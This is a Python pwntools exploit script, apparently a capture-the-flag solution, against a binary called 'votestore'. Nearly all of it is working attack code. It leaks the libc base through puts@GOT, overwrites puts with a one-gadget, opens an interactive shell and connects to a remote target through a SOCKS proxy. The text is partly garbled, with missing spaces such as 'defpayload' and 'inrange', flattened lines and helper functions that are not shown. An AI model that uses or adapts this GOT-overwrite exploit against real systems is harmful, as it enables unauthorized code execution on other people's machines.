defpayload(lo:int): global sh if lo: sh = process('./votestore') if lo & 2: gdb.attach(sh) else: context.proxy = (socks.SOCKS5, '127.0.0.1', 1080) sh = remote('192.168.16.186', 9999) libc = ELF('./votestore.so')
defshow() -> tuple[bytes]: sh.sendlineafter(b'ice :', b'4') sh.recvuntil(b'name:') name = sh.recvline() sh.recvuntil(b'data:') data = sh.recvline() return name, data
defeout(): sh.sendlineafter(b'ice :', b'5')
# increase interaction time addn() deln() for _ inrange(0x40 - 3): show()
# alloc at bss 0x6010a0 and mod the ptr to 0x601020(puts@libc) edit(p64(0x6010a0), b'nodata') addn() addn() edit(p64(0x601020), b'nodata') # edit(p64(0x601040), p64(0x4006f6)) # testing other libc addr
# then read out the libc(puts) on got and calc one gadget puts, f2 = show() debug(f'{puts = }; {f2 = }') libcBase = u64(puts[:6] + b'\0\0') - libc.symbols['puts'] success(GOLD_TEXT(f'Leak libc: {hex(libcBase)}')) ogg = 0xef9f4 oneGadget = libcBase + ogg
# now edit puts as one gadget so puts@plt triggers shell edit(p64(oneGadget), p64(oneGadget), True) # when writing data calls puts sh.clean() sh.interactive()